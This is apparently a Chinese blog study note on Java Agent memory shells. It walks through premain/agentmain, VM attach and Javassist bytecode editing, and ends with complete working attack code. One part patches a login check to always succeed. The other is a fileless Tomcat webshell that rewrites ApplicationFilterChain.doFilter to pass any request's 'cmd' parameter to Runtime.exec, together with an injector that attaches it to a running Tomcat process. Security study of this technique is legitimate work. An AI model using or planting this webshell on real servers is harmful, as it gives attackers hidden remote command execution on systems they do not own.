Java Agent 内存马学习记录
Java Agent使用
Java Agent:不影响正常编译的前提下,修改Java字节码,进而动态修改已加载或未加载的类、属性、方法的技术
应用:热部署、诊断工具
Java Agent的两种使用方式:
- 通过-javaagent参数指定agent,从而在JVM启动之前修改class内容(自JDK1.5)
- 通过VirtualMachine.attach方法,将agent附加在启动后的JVM进程中,进而动态修改class内容(自JDK1.6)
上述两种方法分别需要实现premain和agentmain方法
方法的原型如下:
| 12
 3
 4
 
 | public static void agentmain(String agentArgs, Instrumentation inst);public static void agentmain(String agentArgs);
 public static void premain(String agentArgs, Instrumentation inst);
 public static void premain(String agentArgs);
 
 | 
其中带有 Instrumentation inst 参数的方法优先级更高, 会优先被调用
打jar包
Java Agent程序必须打包成为jar格式
同时在jar包中需要提供一个MANIFEST.MF文件来配置Java Agent的相关参数
IDEA下的相关操作如下:

- 在resources下会生成META-INF/MANIFEST.MF
在这里可以指定premain类和agentmain类(该文件中最后有一个空行)
| 12
 3
 4
 5
 6
 
 | Manifest-Version: 1.0Premain-Class: com.example.memshell.premainDemo
 Agent-Class: com.example.memshell.agentmainDemo
 Can-Redefine-Classes: true
 Can-Retransform-Classes: true
 
 
 | 

premain
premain是在在JVM加载字节码之前调用

premain项目
| 12
 3
 4
 5
 6
 7
 
 | package com.example.memshell;import java.lang.instrument.Instrumentation;
 public class premainDemo {
 public static void premain(String args, Instrumentation inst) throws Exception {
 System.out.println("premainDemo");
 }
 }
 
 | 
另起一个java项目,在构建中记得添加JVM选项(不同于程序参数),添加-javaagent选项,指定premain的jar包的绝对路径
| 1
 | -javaagent:E:\Java_Sec\MemShell\out\artifacts\MemShell_jar\MemShell.jar
 | 

运行程序可得

agentmain
agentmain方法是在JVM启动后,将自定义进程附加到JVM的已知进程中

我们需要手动导入一下com.sun.tools.attach.VirtualMachine这个类,位于jdk的lib目录下的tools.jar,但是这个jar包默认下不在JDK的classpath目录下

所以,用porm.xml管理的方式进行手动添加,然后更新依赖
| 12
 3
 4
 5
 6
 7
 
 | <dependency><groupId>com.sun</groupId>
 <artifactId>tools</artifactId>
 <version>8</version>
 <scope>system</scope>
 <systemPath>D:/JDKInstall/JDK8/lib/tools.jar</systemPath>
 </dependency>
 
 | 
如同上述部署jar包的方式,需要在META-INF/MANIFEST.MF中指明Agent-Class具体为哪个类
| 12
 3
 4
 5
 6
 7
 
 | Manifest-Version: 1.0Premain-Class: com.example.memshell.premainDemo
 Agent-Class: com.example.memshell.agentmainDemo
 Can-Redefine-Classes: true
 Can-Retransform-Classes: true
 
 
 
 | 
agentmainDemo,实现agentmain即可
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | package com.example.memshell;
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.classfile.Field;
 
 import java.io.File;
 import java.lang.instrument.Instrumentation;
 
 public class agentmainDemo {
 
 public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
 System.out.println("This is agentmainDemo");
 }
 
 }
 
 | 
然后打成jar包
附加进程,使用jps -l查看JVM中的进程号
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | package com.example.memshell;
 import com.sun.tools.attach.VirtualMachine;
 import java.io.File;
 
 public class agentDemo {
 
 public static void main(String[] args) throws Exception{
 
 VirtualMachine vm = VirtualMachine.attach("31504");
 
 String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar";
 System.out.println(agentpath);
 vm.loadAgent(agentpath);
 vm.detach();
 System.out.println("attach ok");
 }
 }
 
 | 
附加成功

当然,上述代码是直接硬编码PID。比较优雅的写法是:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | package com.example.memshell;
 
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.attach.VirtualMachineDescriptor;
 import java.util.List;
 import java.io.File;
 
 public class agentDemo {
 
 public static void main(String[] args) throws Exception{
 List<VirtualMachineDescriptor> list = VirtualMachine.list();
 String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar";
 for(VirtualMachineDescriptor descriptor : list){
 String name = descriptor.displayName();
 String pid = descriptor.id();
 
 if(name.contains("com.example.memshell.agentDemo")){
 VirtualMachine virtualMachine = VirtualMachine.attach(pid);
 String path = new File(agentpath).getAbsolutePath();
 virtualMachine.loadAgent(path);
 virtualMachine.detach();
 System.out.println("attach ok");
 }
 }
 }
 
 }
 
 | 
Instrumentation动态修改字节码
Instrumentation接口
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 
 | package java.lang.instrument;
 import  java.io.File;
 import  java.io.IOException;
 import  java.util.jar.JarFile;
 
 
 public interface Instrumentation {
 
 
 
 void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
 
 void addTransformer(ClassFileTransformer transformer);
 
 boolean removeTransformer(ClassFileTransformer transformer);
 
 boolean isRetransformClassesSupported();
 
 
 void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
 
 boolean isRedefineClassesSupported();
 
 void redefineClasses(ClassDefinition... definitions) throws  ClassNotFoundException, UnmodifiableClassException;
 
 boolean isModifiableClass(Class<?> theClass);
 
 @SuppressWarnings("rawtypes")
 Class[] getAllLoadedClasses();
 
 @SuppressWarnings("rawtypes")
 Class[] getInitiatedClasses(ClassLoader loader);
 
 
 long getObjectSize(Object objectToSize);
 
 void appendToBootstrapClassLoaderSearch(JarFile jarfile);
 
 void appendToSystemClassLoaderSearch(JarFile jarfile);
 
 boolean isNativeMethodPrefixSupported();
 
 void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);
 }
 
 
 | 
classpath
Classpath 是 Java 中用于指定 Java 虚拟机(JVM)和 Java 编译器(javac)查找类文件(.class 文件)和资源文件的路径。它是一个包含多个目录、JAR 文件、ZIP 文件的路径列表,JVM 通过这些路径来定位并加载运行 Java 程序所需的类文件和资源
当运行一个 Java 程序时,JVM 会根据指定的 classpath 路径查找类文件(.class 文件)。如果类文件在 classpath 路径中没有找到,JVM 会抛出 ClassNotFoundException。
classpath 可以包含多个路径,路径之间用特定的符号分隔:
- 在类 Unix 系统(如 Linux、macOS)中,使用冒号(- :)分隔路径。
 
- 在 Windows 系统中,使用分号(- ;)分隔路径。
 
设置方法:
- 命令行:- java -cp path javaDemo,将从path路径下找到对应的资源文件
 
- 设置ClassPath环境变量 
javassist
Javassist:用来处理Java字节码的类库,允许在已经编译好的类中添加新的方法,或者修改已有的方法,同时也可以通过手动的方式去生成一个新的类对象
导入依赖
| 12
 3
 4
 5
 
 | <dependency><groupId>org.javassist</groupId>
 <artifactId>javassist</artifactId>
 <version>3.25.0-GA</version>
 </dependency>
 
 | 
ClassPool需要关注的方法:
- getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool;
- appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
- toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
- get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑。
CtClass需要关注的方法:
- freeze : 冻结一个类,使其不可修改;
- isFrozen : 判断一个类是否已被冻结;
- prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
- defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
- detach : 将该class从ClassPool中删除;
- writeFile : 根据CtClass生成 .class 文件;
- toClass : 通过类加载器加载该CtClass。
上面我们创建一个新的方法使用了CtMethod类。CtMthod代表类中的某个方法,可以通过CtClass提供的API获取或者CtNewMethod新建,通过CtMethod对象可以实现对方法的修改。
CtMethod中的一些重要方法:
- insertBefore : 在方法的起始位置插入代码;
- insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
- insertAt : 在指定的位置插入代码;
- setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
- make : 创建一个新的方法。
创建新类:
- 使用makeClass在类池中创建新类
- 添加属性、构造函数、方法
- writeFile让.class文件落地
调用:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 
 | package com.example.memshell.agent;
 import javassist.*;
 
 import java.awt.*;
 import java.lang.reflect.Method;
 
 public class javassistDemo {
 
 
 
 public static void Create1cfhClass() throws Exception{
 
 ClassPool pool = ClassPool.getDefault();
 
 
 CtClass newCls = pool.makeClass("Icfh");
 
 
 
 CtField newParam = new CtField(pool.get("java.lang.String"), "name", newCls);
 
 newParam.setModifiers(Modifier.PRIVATE);
 
 newCls.addField(newParam, CtField.Initializer.constant("1cfh"));
 
 
 newCls.addMethod(CtNewMethod.setter("setName",newParam));
 newCls.addMethod(CtNewMethod.getter("getName",newParam));
 
 
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, newCls);
 constructor.setBody("{name=\"1c4h\";}");
 newCls.addConstructor(constructor);
 
 
 constructor = new CtConstructor(new CtClass[]{
 pool.get("java.lang.String")
 }, newCls);
 constructor.setBody("{$0.name = $1;}");
 newCls.addConstructor(constructor);
 
 
 
 CtMethod ctMethod = new CtMethod(
 CtClass.voidType,
 "printName",
 new CtClass[]{},
 newCls
 );
 ctMethod.setModifiers(Modifier.PUBLIC);
 ctMethod.setBody("{System.out.println(name);}");
 newCls.addMethod(ctMethod);
 
 
 CtMethod ctMethod1 = new CtMethod(
 CtClass.voidType,
 "printMsg",
 new CtClass[]{
 pool.get("java.lang.String")
 },
 newCls
 );
 ctMethod1.setModifiers(Modifier.PUBLIC);
 
 
 ctMethod1.setBody("{System.out.println(\"ths msg is: \"+$1);}");
 newCls.addMethod(ctMethod1);
 
 
 
 Class<?> clazz = newCls.toClass();
 Object obj = clazz.getDeclaredConstructor().newInstance();
 
 clazz.getMethod("printMsg", String.class).invoke(obj,"JavaMaster");
 clazz.getMethod("printName").invoke(obj, null);
 
 Method printMsg = clazz.getDeclaredMethod("printMsg", String.class);
 printMsg.invoke(obj,"Fuck");
 
 
 newCls.writeFile("E:\\Java_Sec\\MemShell\\class");
 
 }
 
 
 
 public static void useClass() throws Exception{
 ClassPool pool = ClassPool.getDefault();
 
 pool.appendClassPath("E:\\Java_Sec\\MemShell\\class");
 
 CtClass ctClass = pool.get("Icfh");
 
 Object obj = ctClass.toClass().newInstance();
 Method setName = obj.getClass().getDeclaredMethod("setName",String.class);
 setName.invoke(obj, "hacker");
 Method getName = obj.getClass().getDeclaredMethod("getName");
 System.out.println(getName.invoke(obj));
 
 
 }
 
 
 public static void main(String[] args) throws Exception{
 
 
 useClass();
 }
 
 }
 
 | 
利用agentmain注入修改字节码
总体思路:
- agentmain注入
- 在agentmain中调用Instrumentation的API添加拦截器,并重载
目标代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | package com.example;
 import java.util.Objects;
 
 public class instrumentDemo {
 
 public static String username = "1cfh";
 public static String password = "1cfh_fake";
 
 public static boolean checkLogin() {
 return (username == "1cfh") && (password == "1cfh");
 }
 
 
 public static void main(String[] args) throws InterruptedException {
 while (true){
 if(checkLogin()){
 System.out.println("login success: FLAG{hacker}");
 }else {
 System.out.println("login failed");
 }
 Thread.sleep(1000);
 }
 
 }
 }
 
 | 
利用addTransformer添加Transformer
然后retransformClasses重载class
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 
 | package com.example.memshell.agent;
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.attach.VirtualMachineDescriptor;
 import javassist.*;
 
 import java.io.IOException;
 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.IllegalClassFormatException;
 import java.lang.instrument.Instrumentation;
 import java.security.ProtectionDomain;
 import java.util.List;
 
 public class instrumentDemo {
 
 public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
 
 for(Class clazz : instrumentation.getAllLoadedClasses()){
 if(clazz.getName().equals("com.example.instrumentDemo")) {
 
 instrumentation.addTransformer(new TransformerDemo(), true);
 
 instrumentation.retransformClasses(clazz);
 }
 }
 }
 
 }
 
 class TransformerDemo implements ClassFileTransformer{
 
 
 @Override
 public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
 
 if(className.equals("com/example/instrumentDemo")){
 try {
 
 ClassPool classPool = ClassPool.getDefault();
 
 CtClass ctClass = classPool.get("com.example.instrumentDemo");
 
 CtMethod method = ctClass.getDeclaredMethod("checkLogin");
 
 method.setBody("{System.out.println(\"hack\"); return true;}");
 
 byte[] code = ctClass.toBytecode();
 ctClass.detach();
 return code;
 
 } catch (NotFoundException | CannotCompileException | IOException e) {
 throw new RuntimeException(e);
 }
 
 }else{
 return classfileBuffer;
 }
 
 }
 }
 
 | 
然后就是遍历JVM中的Java进程,匹配目标进程,加载agent
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | package com.example.memshell.agent;
 
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.attach.VirtualMachineDescriptor;
 import java.util.List;
 import java.io.File;
 
 public class agentDemo {
 
 public static void main(String[] args) throws Exception{
 List<VirtualMachineDescriptor> list = VirtualMachine.list();
 String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentInstrument_jar\\MemShell.jar";
 for(VirtualMachineDescriptor descriptor : list){
 String name = descriptor.displayName();
 String pid = descriptor.id();
 
 if(name.equals("demo.jar")){
 VirtualMachine virtualMachine = VirtualMachine.attach(pid);
 String path = new File(agentpath).getAbsolutePath();
 virtualMachine.loadAgent(path);
 virtualMachine.detach();
 System.out.println("attach ok");
 break;
 }
 }
 }
 
 }
 
 
 | 

Instrumentation的局限性
大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是private static/final修饰的
- 可以修改方法体
Agent内存马
既然可以利用Instrumentation来修改字节码,
注意之前在调试Filter时,我们看它的栈帧,在自定义的HelloFilter之前,是以链式调用各个Filter,所以我们直接打ApplicationFilterChain的doFilter即可注入🐎

打agentmain的agent内存马
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 
 | package com.example.memshell.agentShell;
 import javassist.*;
 
 import java.io.IOException;
 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.IllegalClassFormatException;
 import java.lang.instrument.Instrumentation;
 import java.security.ProtectionDomain;
 
 public class AgentShellDemo {
 
 public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
 
 Class[] classes = instrumentation.getAllLoadedClasses();
 for(Class clazz : classes){
 
 if(clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
 instrumentation.addTransformer(new FilterTransformer(), true);
 instrumentation.retransformClasses(clazz);
 }
 }
 
 }
 }
 
 
 class FilterTransformer implements ClassFileTransformer{
 
 @Override
 public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
 try {
 
 ClassPool classPool = ClassPool.getDefault();
 
 
 if(classBeingRedefined != null){
 ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
 classPool.insertClassPath(classClassPath);
 }
 
 
 CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
 
 
 CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
 
 
 
 String codeBody =  "{" +
 "javax.servlet.http.HttpServletRequest request = $1\n;" +
 "String cmd=request.getParameter(\"cmd\");\n" +
 "if (cmd !=null){\n" +
 "  Runtime.getRuntime().exec(cmd);\n" +
 "  }"+
 "}";
 
 ctMethod.setBody(codeBody);
 
 
 return ctClass.toBytecode();
 
 } catch (NotFoundException | CannotCompileException | IOException e) {
 throw new RuntimeException(e);
 }
 }
 
 
 
 }
 
 
 | 
加载agent
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | package com.example.memshell.agentShell;
 import com.sun.tools.attach.VirtualMachine;
 import com.sun.tools.attach.VirtualMachineDescriptor;
 
 import javax.servlet.*;
 import javax.servlet.http.*;
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.UnsupportedEncodingException;
 import java.security.Principal;
 import java.util.*;
 
 public class AgentShellInjectionDemo {
 
 public static void main(String[] args) throws Exception{
 String path = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentShell_jar\\MemShell.jar";
 List<VirtualMachineDescriptor> list = VirtualMachine.list();
 for(VirtualMachineDescriptor virtualMachineDescriptor : list){
 
 if(virtualMachineDescriptor.displayName().contains("org.apache.catalina.startup.Bootstrap")){
 
 VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
 virtualMachine.loadAgent(path);
 virtualMachine.detach();
 System.out.println("inject success");
 }
 
 }
 }
 }
 
 
 | 
参考
- https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#premain-%E6%96%B9%E5%BC%8F 
- https://boogipop.com/2023/03/02/Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%89%96%E6%9E%90/#%E7%9F%AD%E5%B0%8F%E7%B2%BE%E6%82%8D%E7%9A%84Javassits%E5%90%8C%E5%AD%A6